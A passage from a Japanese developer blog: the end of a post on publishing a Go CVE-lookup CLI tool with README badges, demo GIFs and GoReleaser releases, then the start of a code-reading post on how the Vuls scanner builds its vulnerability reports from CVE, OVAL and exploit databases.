href="https://github.com/client9/misspell">misspell</a> ミススペルの確認</li> </ul> <p> </p> <p>単純な確認のみですが最低限やっておくべきボトムラインの確認に利用できそうです。</p> <p> </p> <p>事前にVSCodeのgoのプラグインなどで開発段階で防いでおくべきものが多い気がするのでVSCodeにgoのlintなどを入れておけばgo reportでも良い評価が得られると思います。</p> <p> </p> <p>Githubでこの結果を載せておくと利用者としては最低限問題のなさそうなコードだということが確認できるので安心できるのかもしれません。 </p> <p> </p> <h5 id="CodeQLバッジ">CodeQLバッジ  <a href="https://lgtm.com/projects/g/s-index/go-cve-search/alerts/" rel="nofollow" style="box-sizing: border-box; background-color: initial; color: #0366d6; text-decoration: none;"><img alt="Total alerts" data-canonical-src="https://img.shields.io/lgtm/alerts/g/s-index/go-cve-search.svg?logo=lgtm&logoWidth=18" src="https://camo.githubusercontent.com/51e015e7c1373668eecda8f2db766dd301c1aa42/68747470733a2f2f696d672e736869656c64732e696f2f6c67746d2f616c657274732f672f732d696e6465782f676f2d6376652d7365617263682e7376673f6c6f676f3d6c67746d266c6f676f57696474683d3138" style="box-sizing: initial; border-style: none; max-width: 100%; background-color: #ffffff;" /></a> </h5> <p>(2020/07/20 更新)</p> <p>CodeQLというGithubが買収したSemmleが提供するコードの静的解析ツールの結果も貼り付ける事ができます。</p> <p>Goだけでなく、<span style="color: #293030; font-family: helvetica, 'Segoe UI', 游ゴシック体, YuGothic, '游ゴシック Medium', 'Yu Gothic Medium', 游ゴシック, 'Yu Gothic', メイリオ, Meiryo, sans-serif; font-size: 17px;">C, </span><a class="keyword" href="http://d.hatena.ne.jp/keyword/C%2B%2B" style="box-sizing: border-box; color: inherit !important; text-decoration: underline dotted #cfd8d8; background-color: transparent; overflow-wrap: break-word; font-size: 17px; font-weight: inherit !important; font-style: inherit !important; pointer-events: auto !important; cursor: pointer !important;">C++, </a><a class="keyword" href="http://d.hatena.ne.jp/keyword/C%23" style="box-sizing: border-box; color: inherit !important; text-decoration: underline dotted #cfd8d8; background-color: transparent; overflow-wrap: break-word; font-size: 17px; font-weight: inherit !important; font-style: inherit !important; pointer-events: auto !important; cursor: pointer !important;">C#, </a><a class="keyword" href="http://d.hatena.ne.jp/keyword/Java" style="box-sizing: border-box; color: inherit !important; text-decoration: underline dotted #cfd8d8; background-color: transparent; overflow-wrap: break-word; font-size: 17px; font-weight: inherit !important; font-style: inherit !important; pointer-events: auto !important; cursor: pointer !important;">Java, </a><a class="keyword" href="http://d.hatena.ne.jp/keyword/JavaScript" style="box-sizing: border-box; color: inherit !important; text-decoration: underline dotted #cfd8d8; background-color: transparent; overflow-wrap: break-word; font-size: 17px; font-weight: inherit !important; font-style: inherit !important; pointer-events: auto !important; cursor: pointer !important;">JavaScript</a><span style="color: #293030; font-family: helvetica, 'Segoe UI', 游ゴシック体, YuGothic, '游ゴシック Medium', 'Yu Gothic Medium', 游ゴシック, 'Yu Gothic', メイリオ, Meiryo, sans-serif; font-size: 17px;"> / TypeScript, </span><span style="color: #293030; font-family: helvetica, 'Segoe UI', 游ゴシック体, YuGothic, '游ゴシック Medium', 'Yu Gothic Medium', 游ゴシック, 'Yu Gothic', メイリオ, Meiryo, sans-serif; font-size: 17px;">Pythonに対応しています。</span></p> <p>詳しい内容は以下の記事に書きました。</p> <p><a href="https://security-index.info/entry/2020/06/05/211454">Githubの新しいセキュリティ機能 CodeQLを使ってみる - Security Index</a></p> <p style="box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; color: #24292e; font-family: -apple-system, system-ui, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji'; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial;"> </p> <p>コードの品質をOSSであれば無料で検査でき、バッジで表示できるのでとてもおすすめです。</p> <p>他のツールとの比較できたり、コードのどの部分にどんな問題があるのか、どう対応すればいいのかも詳しく表示されます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200720/20200720104011.png" alt="f:id:security_index:20200720104011p:plain" title="f:id:security_index:20200720104011p:plain" class="hatena-fotolife" itemprop="image" width="426" /><br />(例:<span style="color: #293030; font-family: helvetica, 'Segoe UI', 游ゴシック体, YuGothic, '游ゴシック Medium', 'Yu Gothic Medium', 游ゴシック, 'Yu Gothic', メイリオ, Meiryo, sans-serif; font-size: 17px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">Disabled </span><a class="keyword" href="http://d.hatena.ne.jp/keyword/TLS" style="box-sizing: border-box; color: inherit !important; text-decoration: underline dotted #cfd8d8; background-color: #ffffff; overflow-wrap: break-word; font-size: 17px; font-weight: 400; font-style: normal; pointer-events: auto !important; cursor: pointer !important; font-family: helvetica, 'Segoe UI', 游ゴシック体, YuGothic, '游ゴシック Medium', 'Yu Gothic Medium', 游ゴシック, 'Yu Gothic', メイリオ, Meiryo, sans-serif; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;">TLS</a><span style="color: #293030; font-family: helvetica, 'Segoe UI', 游ゴシック体, YuGothic, '游ゴシック Medium', 'Yu Gothic Medium', 游ゴシック, 'Yu Gothic', メイリオ, Meiryo, sans-serif; font-size: 17px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;"> certificate check, Missing regular expression anchor)</span></p> <p> </p> <h5 id="licenseバッジ">licenseバッジ <a href="https://github.com/s-index/go-cve-search/blob/master/LICENSE" style="box-sizing: border-box; background-color: #ffffff; color: #0366d6; text-decoration: none; font-family: -apple-system, system-ui, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji'; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;"><img alt="MIT License" data-canonical-src="http://img.shields.io/badge/license-MIT-blue.svg?style=flat" src="https://camo.githubusercontent.com/4ad0bc4de8816451a4a76b886b76142b99d10ffb/687474703a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d626c75652e7376673f7374796c653d666c6174" style="box-sizing: initial; border-style: none; max-width: 100%; background-color: #ffffff;" /></a></h5> <p>こちらは<a href="https://shields.io/">shields.io</a>のリンクを使用し、自分のLicenseのリンクを参照するようにすればOKです。</p> <p>[![MIT License](<a href="https://img.shields.io/badge/license-MIT-blue.svg?style=flat">https://img.shields.io/badge/license-MIT-blue.svg?style=flat</a>)](<a href="https://github.com/s-index/go-cve-search/blob/master/LICENSE">https://github.com/s-index/go-cve-search/blob/master/LICENSE</a>)</p> <p> </p> <p>バッチとして付けなくても右上のライセンスが書かれている部分で確認できますが、バッチとしてあるとよりわかりやすい、見栄えが良い気がします。</p> <p> </p> <h5 id="Github-Starバッジ">Github Starバッジ <a href="https://github.com/s-index/go-cve-search/stargazers" style="box-sizing: border-box; background-color: initial; color: #0366d6; text-decoration: none;"><img alt="GitHub stars" data-canonical-src="https://img.shields.io/github/stars/s-index/go-cve-search.svg?style=social" src="https://camo.githubusercontent.com/dfc9eae24e37f9d0e710d21882382ea323dd2916/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f732d696e6465782f676f2d6376652d7365617263682e7376673f7374796c653d736f6369616c" style="box-sizing: initial; border-style: none; max-width: 100%; background-color: #ffffff;" /></a></h5> <p>(2020/07/20 更新)</p> <p>こちらもlicenseバッジと同様に<a href="https://shields.io/">shields.io</a>を使い、Star数は自分のレポジトリのURLの最後に「/stargazers」を付けたリンクを参照するようにすればこちらもOKです。</p> <p>[![GitHub stars](<a href="https://img.shields.io/github/stars/s-index/go-cve-search.svg?style=social">https://img.shields.io/github/stars/s-index/go-cve-search.svg?style=social</a>)](<a href="https://github.com/s-index/go-cve-search/stargazers">https://github.com/s-index/go-cve-search/stargazers</a>)</p> <p> </p> <p>それ以外にもforks数、watch数などつけることもできます。</p> <p>以下のサイトにREADMEに付けられるMarkdownのバッジリストがあるのでとても参考になります。</p> <p><a href="https://github.com/Naereen/badges">GitHub - Naereen/badges: Markdown code for lots of small badges (shields.io, forthebadge.com etc) . Contributions are welcome! Please add yours!</a></p> <p> </p> <h4 id="READMEにterminalのgif-demo-gifを付ける">READMEにterminalのgif (demo gif)を付ける</h4> <h5 id="gifの作成">gifの作成</h5> <p>実際に作成したものがこちら。</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200130/20200130110736.gif" alt="f:id:security_index:20200130110736g:plain" title="f:id:security_index:20200130110736g:plain" class="hatena-fotolife" itemprop="image" width="430" /></p> <p> </p> <p>作成方法としては (Macの方向け)</p> <p>・ショートカットキー <span class="keyboard-key" style="padding: 1px 3px; margin: 0px; box-sizing: border-box; overflow-wrap: break-word; background-color: #f9f9f9; border: 1px solid #777777; border-radius: 2px; box-shadow: #dddddd 1px 2px 2px; font-family: 'Hiragino Kaku Gothic ProN', Meiryo, Helvetica, Arial, sans-serif; font-size: 0.85em; color: #333333; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">⌘</span><span style="color: #333333; font-family: 'Hiragino Kaku Gothic ProN', Meiryo, Helvetica, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">+</span><span class="keyboard-key" style="padding: 1px 3px; margin: 0px; box-sizing: border-box; overflow-wrap: break-word; background-color: #f9f9f9; border: 1px solid #777777; border-radius: 2px; box-shadow: #dddddd 1px 2px 2px; font-family: 'Hiragino Kaku Gothic ProN', Meiryo, Helvetica, Arial, sans-serif; font-size: 0.85em; color: #333333; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">⌃</span><span style="color: #333333; font-family: 'Hiragino Kaku Gothic ProN', Meiryo, Helvetica, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">+</span><span class="keyboard-key" style="padding: 1px 3px; margin: 0px; box-sizing: border-box; overflow-wrap: break-word; background-color: #f9f9f9; border: 1px solid #777777; border-radius: 2px; box-shadow: #dddddd 1px 2px 2px; font-family: 'Hiragino Kaku Gothic ProN', Meiryo, Helvetica, Arial, sans-serif; font-size: 0.85em; color: #333333; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">5</span> で画面録画メニューを表示</p> <p>・範囲を調整して録画</p> <p>・録画したものをPicGIF Liteでgif化</p> <p> </p> <p><a href="https://dev.classmethod.jp/etc/mac-screen-gif-anime/">【小ネタ】Macの画面を録画して、GIFアニメにする方法 | Developers.IO</a></p> <p> </p> <p>注意点としては、動画の取り込み時のフレームの設定やgifにするときのフレームの設定、gifの縦横サイズの設定などを調整する必要があります。</p> <p> </p> <p>また、他の方法としては<a href="https://github.com/faressoft/terminalizer">terminalizer</a>というツールを使ってterminalのコマンドをキャプチャ、gif化を行うことができます。</p> <p> </p> <h5 id="READMEに貼り付け">READMEに貼り付け</h5> <p>READMEへの貼り付け方法なのですが、レポジトリにgifを置いてそれを参照する、という方法がありますが、gifは利用者には不要なものなのでできれば入れたくないという方もいるかもしれません。</p> <p> </p> <p><a href="https://qiita.com/aocattleya/items/5f836e9c65ba3eb3af03">【GitHub】README.mdをカッコ可愛くデザインしてアプリの魅力を120%にする - Qiita</a></p> <p> </p> <p>こちらの記事で初めて知ったのですが、Issueに画像を貼り付けると画像がGithub内で保存され、その画像へのリンクが生成されることを利用することができるようです。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200130/20200130112354.png" alt="f:id:security_index:20200130112354p:plain" title="f:id:security_index:20200130112354p:plain" class="hatena-fotolife" itemprop="image" width="390" /></p> <p> </p> <p>私も今回こちらのやり方でリンク生成、READMEへの貼り付けを行いました。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200130/20200130112533.png" alt="f:id:security_index:20200130112533p:plain" title="f:id:security_index:20200130112533p:plain" class="hatena-fotolife" itemprop="image" width="427" /></p> <p> </p> <p>Markdownの形式でリンク生成してくれるのでコピペが楽で助かります。</p> <p> </p> <h4 id="Github-Actionでクロスコンパイルした実行ファイルをリリース">Github Actionでクロスコンパイルした実行ファイルをリリース</h4> <p>Githubの ReleaseページのAssetsのところに複数の環境で動作する実行ファイルが既に用意されている事があると思います。</p> <p>これもGithub Actionsを使うことで簡単に作成する事ができます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200720/20200720114040.png" alt="f:id:security_index:20200720114040p:plain" title="f:id:security_index:20200720114040p:plain" class="hatena-fotolife" itemprop="image" width="450" /></p> <p> </p> <p>以下のサイトを通りに行う事で10分もかからずにできました。</p> <p><a href="https://tellme.tokyo/post/2020/02/04/release-go-cli-tool/">Go で書いた CLI ツールのリリースは GoReleaser と GitHub Actions で個人的には決まり | tellme.tokyo</a></p> <p> </p> <p>やることは</p> <ul> <li>「.github/workflows/release.yml」をそのままコピペで利用</li> <li>「.goreleaser.yml」の「git-bump」の部分を自分のプロジェクト名に変更</li> <li>tagを新規に作成する </li> </ul> <p> tagが新規に作成されるとGithub Actionsがそれをトリガーに動作します。</p> <p>Github Actionsを追加で設定する必要はなく、「.github/workflows/release.yml」があるかどうかを見て自動で実行してくれるようです。</p> <p> </p> <p>ここの<a href="https://github.com/s-index/go-cve-search/releases">Releseページ</a>のgo-cve-search_darwin_x86_64.tar.gzなどをダウンロードして解凍すればすぐにこのツールが使えるようになります。</p> <p> </p> <p>また、goreleaserを使うとHomebrewで簡単に配信することもできるそうなのでまたこちらもやってみたいと思います!</p> <p> </p> <p>以下の公式のドキュメントを読むと色々とオプションもあるので参考になります。</p> <p><a href="https://goreleaser.com/customization/archive/">Archive - GoReleaser</a></p> <p> </p> <h3 id="最後に">最後に</h3> <p><a href="https://github.com/s-index/go-cve-search"> go-cve-search</a>という簡単なcliツールをGo言語で作成してGithubで公開してみました。</p> <p>すごく便利なツールを作って公開してみた!というようなものではないのですが、CVEの脆弱性情報をjson形式で簡単に最新のものを確認したいという状況の時に、セットアップやDBの作成、更新などを気にせずにお手軽にできるものがほしいなぁという自分の小さな悩みを解決するためのツールができて個人的には満足しています。</p> <p> </p> <p>他にもっといいツールや方法はあるとは思うのですが、せっかくならGo言語でcliツールとして作りたい、GithubでいっぱいバッジがついたREADMEを作りたい、CI/CDツールを経験したい、アジャイルサムライ読んだからTDDやってみたという願望も入れながら進めてみました。</p> <p> </p> <p>読んだり聞いたりするのと実際にやってみるのではやっぱり全然違うし、大変さや面白さも全然違うと改めて感じました。</p> <p> </p> <p>今回はgoroutineを使った並列処理が書けなかったのでいつかやってみたいと思っています。</p> <p> </p> <p><a href="https://amzn.to/3jkRwBv"> スターティングGo言語</a></p> <p><a href="https://amzn.to/2E0SP8z">改訂2版 みんなのGo言語</a></p> <p><a href="https://amzn.to/2ZH54PO">Go言語でつくるインタプリタ</a></p> <p> </p> <p>Twitter <a href="https://twitter.com/security_index">(@security_index) </a></p> security_index Vulsのコードを読む その4 Vuls reportを調べてみた hatenablog://entry/26006613484550824 2019-12-22T22:08:55+09:00 2020-07-20T17:36:42+09:00 Vulsのコードを読む その1 全体像の把握, Vulsのコードを読む その2 go-cve-dictionary を理解する、バグを見つけてプルリクを出してマージされるまで, Vulsのコードを読む その3 Vuls scanを調べてみた の続きになります。 今回はVuls reportの部分を調べてみました。 Vuls reportはvuls scanで取得したscan対象のサーバーやコンテナ情報を元にどんな脆弱性が含まれるのかを調査し、保存やメール・slackで通知する機能を行なっています。 忙しい人のために先に書いておくと、report作成のメインとなる部分はvuls/commands… <p><a href="https://security-index.hatenablog.com/entry/2019/11/04/162804">Vulsのコードを読む その1 全体像の把握</a>,  <a href="https://security-index.hatenablog.com/entry/2019/11/17/205040">Vulsのコードを読む その2 go-cve-dictionary を理解する、バグを見つけてプルリクを出してマージされるまで</a>, <a href="https://security-index.hatenablog.com/entry/2019/12/07/222719">Vulsのコードを読む その3 Vuls scanを調べてみた</a> の続きになります。</p> <p> </p> <p>今回はVuls reportの部分を調べてみました。</p> <p>Vuls reportはvuls scanで取得したscan対象のサーバーやコンテナ情報を元にどんな脆弱性が含まれるのかを調査し、保存やメール・slackで通知する機能を行なっています。</p> <p> </p> <p>忙しい人のために先に書いておくと、report作成のメインとなる部分は<a href="https://github.com/future-architect/vuls/blob/master/commands/report.go">vuls/commands/report.go</a> の<a href="https://github.com/future-architect/vuls/blob/v0.11.0/report/report.go#L45">FillCveInfos()</a>の部分です。</p> <p>それ以外の部分はメール、slackなどの通知方法の設定確認やエラーチェックなどがメインに行われています。</p> <p>slack, chatwork, Telegramなどに通知する方法が気になる方は<a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/report.go#L444">Write()</a>を見るとgoでどう書けばいいのかわかります。</p> <p> </p> <p>(更新 2020/07/20 v0.11.0へのアップデートの内容(go-msfdb)を一部取り込みました)</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191222220824p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191222/20191222220824.png" alt="f:id:security_index:20191222220824p:plain" width="374" /> </p> <ul class="table-of-contents"> <li><a href="#Vuls-Report">Vuls Report</a><ul> <li><a href="#L213L389-設定情報の読み込みエラーチェックDB接続">L213~L389 設定情報の読み込み、エラーチェック、DB接続</a></li> <li><a href="#L437-FillCveInfos-reportの作成">L437 FillCveInfos() reportの作成</a><ul> <li><a href="#FillLibrary-ライブラリの脆弱性取得-trivy">FillLibrary() ライブラリの脆弱性取得 (trivy)</a></li> <li><a href="#FillWithOval-各OSdebian-redhat等毎のCVEの取得カウント-goval-dictionary">FillWithOval() 各OS(debian, redhat等)毎のCVEの取得、カウント (goval-dictionary)</a></li> <li><a href="#パッチが未提供のものかどうかの判定">パッチが未提供のものかどうかの判定</a></li> <li><a href="#fillVulnByCpeURIs-cpeURIsに含まれるcpeからCVEの取得-go-cve-dictionary">fillVulnByCpeURIs() cpeURIsに含まれるcpeからCVEの取得 (go-cve-dictionary)</a></li> <li><a href="#Github-Secruity-Alerts-とWordPressのCVEの取得">Github Secruity Alerts とWordPressのCVEの取得</a></li> <li><a href="#FillWithGost-Security-Trackerの情報と突き合せてCVEの取得-gost">FillWithGost() Security Trackerの情報と突き合せてCVEの取得 (gost)</a></li> <li><a href="#fillCveDetail-NVDとJVNのCVEの詳細情報とCERの情報を取得-go-cve-dictionary">fillCveDetail() NVDとJVNのCVEの詳細情報とCERの情報を取得 (go-cve-dictionary)</a></li> <li><a href="#FillWithExploit-CVEのexploitコードの取得-go-exploitdb">FillWithExploit() CVEのexploitコードの取得 (go-exploitdb)</a></li> <li><a href="#FillWithMetasploitrapid7のexploitコードの取得-go-msfdb">FillWithMetasploit() rapid7のexploitコードの取得 (go-msfdb)</a></li> <li><a href="#fillCweDict-CVEに紐づけられたCWEの取得">fillCweDict() CVEに紐づけられたCWEの取得</a></li> </ul> </li> <li><a href="#L413-Write-slack-メール-telegramなどにreportを出力">L413 Write() slack, メール, telegramなどにreportを出力</a></li> </ul> </li> <li><a href="#感想">感想</a><ul> <li><a href="#gost">gost</a></li> <li><a href="#Awesome-Web-Security">Awesome Web Security</a></li> </ul> </li> </ul> <p> </p> <h3 id="Vuls-Report">Vuls Report</h3> <p><a href="https://github.com/future-architect/vuls/blob/master/commands/report.go">vuls/commands/report.go</a> の Execute() の部分からみていきます。</p> <p>メインとなる<a href="https://github.com/future-architect/vuls/blob/v0.11.0/report/report.go#L45">FillCveInfos()</a> 以外の前半は簡単な説明のみしたいと思います。</p> <p> </p> <h4 id="L213L389-設定情報の読み込みエラーチェックDB接続">L213~L389 設定情報の読み込み、エラーチェック、DB接続</h4> <p><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/report.go#L222">L222</a>~L227ではvuls repot実行時の引数で渡されたgo-cve-dictionaryやgoval-dictionaryの設定情報を読み込み(設定ファイルの上書き)をします。</p> <p> </p> <p><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/report.go#L246">L246</a>~L320では設定ファイルからメールやslackなど、どこに通知をするのかの設定を読み込みこみ、エラーチェックします。</p> <p>現在、通知先として設定できるのは以下の11個。</p> <p>[-to-email]<br /> [-to-http]<br /> [-to-slack]<br /> [-to-stride]<br /> [-to-hipchat]<br /> [-to-chatwork]<br /> [-to-telegram]<br /> [-to-localfile]<br /> [-to-s3]<br /> [-to-azure-blob]<br /> [-to-saas]</p> <p> </p> <p>少し気になったのは一番最後の[-to-saas]の部分。</p> <p>saasは何を指しているのかというと <a href="https://vuls.biz/">Future Vuls</a>のことのようです。</p> <p><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/report.go#L168">L168</a>のSetFlags()の部分を見てみると以下のように書かれています。</p> <blockquote> <p><span style="color: #032f62; font-family: SFMono-Regular, Consolas, 'Liberation Mono', Menlo, monospace; font-size: 12px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: pre; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">Upload report to Future Vuls(<a href="https://vuls.biz/">https://vuls.biz/</a>) before report</span></p> </blockquote> <p>Future Vulsと連携するためのもののようです。</p> <p>Future Vulsも(Windows以外の)スキャン、レポート作成の部分はOSS Vulsをほぼそのまま利用しているのかもしれません。</p> <p> </p> <p><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/report.go#L333">L333</a>~L349ではvuls scanでscanした結果データの読み込み、エラーチェックを行います。</p> <p> </p> <p>L375~L418ではgo-cve-dictionary, goval-dictionary, gost, go-exploitdb, <a href="https://github.com/takuzoo3868/go-msfdb">go-msfdb</a><br /> がサーバーモードで起動しているかどうかのエラーチェックをします。</p> <p><a href="http://lob/v0.11.0/commands/report.go#L419">L419</a>のNewDBClient()でそれぞれのDBヘの接続を行います。</p> <p> </p> <p><a href="https://github.com/takuzoo3868/go-msfdb">go-msfdb</a>はvulsのv0.11.0(2020/07/13)から追加された機能(ライブラリ)でrapid7の<a href="https://www.rapid7.com/db/?q=&amp;type=metasploit">Vulnerability &amp; Exploit Database</a>をクローリングしてMetasploitでエクスプロイトできるCVE一覧を取得できるようです。</p> <p> </p> <p>CVEで一覧化されたデータは<a href="https://github.com/vulsio/msfdb-list">msfdb-list</a>で公開されており、rapid7で更新があれば自動でアップデートされるようです。</p> <p> </p> <h4 id="L437-FillCveInfos-reportの作成">L437 FillCveInfos() reportの作成</h4> <p><a href="https://github.com/future-architect/vuls/blob/v0.11.0/commands/report.go#L437">L437</a>のFillCveInfos()でreportの作成を行います。</p> <p><a href="https://github.com/future-architect/vuls/blob/11a7a0c93494e532932cce557f43afcc851d012a/report/report.go#L45"> </a><a href="https://github.com/future-architect/vuls/blob/v0.11.0/report/report.go#L45">FillCveInfos()</a>の中で利用されている<a href="https://github.com/future-architect/vuls/blob/11a7a0c93494e532932cce557f43afcc851d012a/report/report.go#L153">FillCveInfo()</a> でvuls scanで取集したライブラリ情報、パッケージ情報、コンテナ情報とそれぞれの脆弱性DBを利用して脆弱性(CVE)の取得とカウントを行います。</p> <p> </p> <h5 id="FillLibrary-ライブラリの脆弱性取得-trivy">FillLibrary() ライブラリの脆弱性取得 (trivy)</h5> <p>L156 <a href="https://github.com/future-architect/vuls/blob/11a7a0c93494e532932cce557f43afcc851d012a/report/report.go#L156">FillLibrary()</a>でライブラリの脆弱性の取得、<a href="https://github.com/future-architect/vuls/blob/v0.11.0/models/vulninfos.go#L146">VulnInfo{}</a>への整形を行なっています。</p> <p>前回も書きましたが、ライブラリの脆弱性の部分は<a href="https://github.com/aquasecurity/trivy">trivy</a>の機能を利用しています。</p> <p>(主にこの<a href="https://github.com/aquasecurity/trivy/blob/b1ea09d901aa539e8c2507e2ede5ca37f8238fa8/pkg/detector/library/detect.go#L52">detect()</a> の部分が参考になります。)</p> <p> </p> <h5 id="FillWithOval-各OSdebian-redhat等毎のCVEの取得カウント-goval-dictionary">FillWithOval() 各OS(debian, redhat等)毎のCVEの取得、カウント (goval-dictionary)</h5> <p>L163 <a href="https://github.com/future-architect/vuls/blob/v0.11.0/report/report.go#L163">FillWithOval()</a> で各OS(debian, redhat等)毎のCVEの取得、カウントを行います。</p> <p>ここでは<a href="https://github.com/kotakanbe/goval-dictionary">goval-dictionary</a>の機能を利用しています。</p> <p>この部分は例えば、Ubuntuの場合、<a href="https://github.com/future-architect/vuls/blob/v0.11.0/oval/debian.go#L189">FillWithOval()</a>でメジャーバージョン(14,16,18)毎に個別設定をして、OVALDBとの突き合わせを行なっているようです。</p> <p>(govalはまだ中身をちゃんと見れてません・・・)</p> <p> </p> <h5 id="パッチが未提供のものかどうかの判定">パッチが未提供のものかどうかの判定</h5> <p>L170の<a href="https://github.com/future-architect/vuls/blob/v0.11.0/report/report.go#L170">ScannedCves</a>は上記のFillLibrary()、FillWithOval() でスキャンしたCVEが入っています。OVALからはパッチが提供済みかどうかの判断できる情報も取得できるようなのでパッチが提供されていないものはNotFixedYetのステータスが付けられます。</p> <p> </p> <h5 id="fillVulnByCpeURIs-cpeURIsに含まれるcpeからCVEの取得-go-cve-dictionary">fillVulnByCpeURIs() cpeURIsに含まれるcpeからCVEの取得 (go-cve-dictionary)</h5> <p>L179の <a href="https://github.com/future-architect/vuls/blob/v0.11.0/report/report.go#L179">fillVulnByCpeURIs()</a>ではcpeURIsに含まれるcpeからCVEの取得を行なっています。</p> <p>cpeからCVEの取得は<a href="https://github.com/kotakanbe/go-cve-dictionary">go-cve-dictionary</a>を利用しています。</p> <p>cpeURIsには設定ファイル(servers, containers)に記載したもの、OWASP Dependency Checkによるものが記載されています。</p> <p>Vulsでcpeを使ったスキャンは以下のドキュメントに書かれています。</p> <p><a href="https://vuls.io/docs/ja/usage-scan-non-os-packages.html#cpe-scan">Scan vulnerabilites of non-OS packages · Vuls</a></p> <p> </p> <h5 id="Github-Secruity-Alerts-とWordPressのCVEの取得">Github Secruity Alerts とWordPressのCVEの取得</h5> <p><a href="https://github.com/future-architect/vuls/blob/v0.11.0/report/report.go#L185">L185</a>~L190ではGithub Secruity Alerts とWordPressのCVEの取得が行われています。</p> <p>FillCveInfo()の引数のintegrationsが可変長引数になっており、現在はGithub Security AlertsとWordPressが引数として与えられています。</p> <p>ここは今後も拡張しやすく何か追加ができそうです。</p> <p> </p> <p>ちなみに、Github Security Alertは<a href="https://github.com/future-architect/vuls/blob/v0.11.0/github/github.go#L20">FillGitHubSecurityAlerts()</a>で処理が行われています。</p> <p>GithubのAPIを利用して情報を取得し、VulnInfo{}の形式に変換することが主な処理内容のようです。</p> <p> </p> <h5 id="FillWithGost-Security-Trackerの情報と突き合せてCVEの取得-gost">FillWithGost() Security Trackerの情報と突き合せてCVEの取得 (gost)</h5> <p>L193の<a href="https://github.com/future-architect/vuls/blob/v0.11.0/report/report.go#L193">FillWithGost()</a>では<a href="https://access.redhat.com/security/security-updates/">Redhat</a>, <a href="https://security-tracker.debian.org/tracker/">Debian</a>, <a href="https://portal.msrc.microsoft.com/en-us/security-guidance">Microsoft</a>のSecurity Trackerの情報とスキャンした結果の情報を突き合せてCVEの取得を行います。</p> <p>この部分の処理は主に<a href="https://github.com/knqyf263/gost/">gost (go-security-tracker)</a>の機能を利用しています。</p> <p> </p> <h5 id="fillCveDetail-NVDとJVNのCVEの詳細情報とCERの情報を取得-go-cve-dictionary">fillCveDetail() NVDとJVNのCVEの詳細情報とCERの情報を取得 (go-cve-dictionary)</h5> <p>L201の<a 